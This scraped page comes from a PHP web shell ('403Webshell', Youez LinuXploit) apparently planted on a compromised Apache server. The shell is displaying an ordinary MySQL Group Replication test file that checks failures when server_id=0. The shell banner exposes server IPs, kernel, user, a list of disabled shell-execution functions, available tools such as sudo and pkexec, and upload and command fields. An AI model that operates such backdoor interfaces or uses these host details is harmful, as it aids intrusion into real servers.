403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.69.166.65
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/suite/group_replication/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/suite/group_replication/t/gr_server_id_0.test
################################################################################
# Validate that even when server is started with server_id=0, on
# which situation slave infrastructure is not initialized, and even
# when server_id is changed dynamically, which does not initialize
# slave infrastructure, START GROUP REPLICATION command errors out
# properly.
#
# Test:
# 0. The test requires one server.
# 1. Restart server with server_id=0, slave infrastructure will not be
#    initialized.
# 2. Start GR on server should fail. INSTALL PLUGIN should fail.
# 3. Even after set server_id to different from 0, start GR must fail.
#    INSTALL PLUGIN should succeed.
# 4. Cleanup.
################################################################################
--source include/force_restart.inc
--source ../inc/have_group_replication_plugin.inc
--let $rpl_skip_group_replication_start= 1
--source ../inc/group_replication.inc

# Store runtime configuration
--let $_server_id= `SELECT @@GLOBAL.server_id`
--let $_group_replication_local_address= `SELECT @@GLOBAL.group_replication_local_address`
--let $_group_replication_group_seeds= `SELECT @@GLOBAL.group_replication_group_seeds`

# Error log suppressions
SET SESSION sql_log_bin= 0;
call mtr.add_suppression("For the creation of replication channels the server id must be different from 0");
call mtr.add_suppression("Failure during Group Replication handler initialization");
call mtr.add_suppression("Plugin 'group_replication' init function returned error.");
call mtr.add_suppression("Couldn't load plugin named 'group_replication' with soname 'group_replication.*'");
call mtr.add_suppression("Failure when cleaning Group Replication server state");
call mtr.add_suppression("Failure when unregistering the server state observers");
call mtr.add_suppression("Failure when unregistering the transactions state observers");
call mtr.add_suppression("Failure when unregistering the binlog state observers");
call mtr.add_suppression("Group Replication plugin is not installed");
call mtr.add_suppression("For the creation of replication channels the server id must be different from 0");
call mtr.add_suppression("Unable to start Group Replication. Replication applier infrastructure is not initialized since the server was started with server_id=0. Please, restart the server with server_id larger than 0.");
call mtr.add_suppression("Function 'group_replication' already exists");
SET SESSION sql_log_bin= 1;


--echo
--echo ############################################################
--echo # 1. Restart server with server_id=0, slave infrastructure
--echo #    will not be initialized.
--let $allow_rpl_inited= 1
--let $_group_replication_group_whitelist= `SELECT @@GLOBAL.group_replication_ip_whitelist`
--let $restart_parameters=restart:--group_replication_local_address=$_group_replication_local_address --group_replication_group_seeds=$_group_replication_group_seeds --group_replication_group_name=$group_replication_group_name --server_id=0 --group_replication_ip_whitelist=$_group_replication_group_whitelist
--replace_result $_group_replication_local_address GROUP_REPLICATION_LOCAL_ADDRESS $_group_replication_group_seeds GROUP_REPLICATION_GROUP_SEEDS $group_replication_group_name GROUP_REPLICATION_GROUP_NAME $_group_replication_group_whitelist GROUP_REPLICATION_GROUP_WHITELIST
--source include/restart_mysqld.inc
# Needed as we are not using rpl_restart_server.inc
--let $rpl_server_number= 1
--source include/rpl_reconnect.inc


--echo
--echo ############################################################
--echo # 2. Both start and install plugin must fail.
--error ER_GROUP_REPLICATION_CONFIGURATION
START GROUP_REPLICATION;

--replace_result $GROUP_REPLICATION GROUP_REPLICATION
--error ER_CANT_INITIALIZE_UDF
--eval INSTALL PLUGIN group_replication SONAME '$GROUP_REPLICATION'


--echo
--echo ############################################################
--echo # 3. Even after set server_id to different from 0, start
--echo #    must fail.
--echo #    Install plugin will succeed.
--eval SET GLOBAL server_id= $_server_id
--replace_result $GROUP_REPLICATION GROUP_REPLICATION
--eval INSTALL PLUGIN group_replication SONAME '$GROUP_REPLICATION'

--error ER_GROUP_REPLICATION_CONFIGURATION
START GROUP_REPLICATION;

--error ER_GROUP_REPLICATION_CONFIGURATION
START GROUP_REPLICATION;


--echo
--echo ############################################################
--echo # 4. Cleanup.
--echo #    Restart server with server_id different from 0, so that
--echo #    slave infrastructure will be initialized, and RESET
--echo #    SLAVE operations on group_replication_end.inc do work.
--let $allow_rpl_inited= 1
--let $restart_parameters=restart:--group_replication_local_address=$_group_replication_local_address --group_replication_group_seeds=$_group_replication_group_seeds --group_replication_group_name=$group_replication_group_name --server_id=$_server_id --group_replication_ip_whitelist=$_group_replication_group_whitelist
--replace_result $_group_replication_local_address GROUP_REPLICATION_LOCAL_ADDRESS $_group_replication_group_seeds GROUP_REPLICATION_GROUP_SEEDS $group_replication_group_name GROUP_REPLICATION_GROUP_NAME $_group_replication_group_whitelist GROUP_REPLICATION_GROUP_WHITELIST
--source include/restart_mysqld.inc
# Needed as we are not using rpl_restart_server.inc
--let $rpl_server_number= 1
--source include/rpl_reconnect.inc

--source ../inc/group_replication_end.inc

Youez - 2016 - github.com/yon3zu
LinuXploit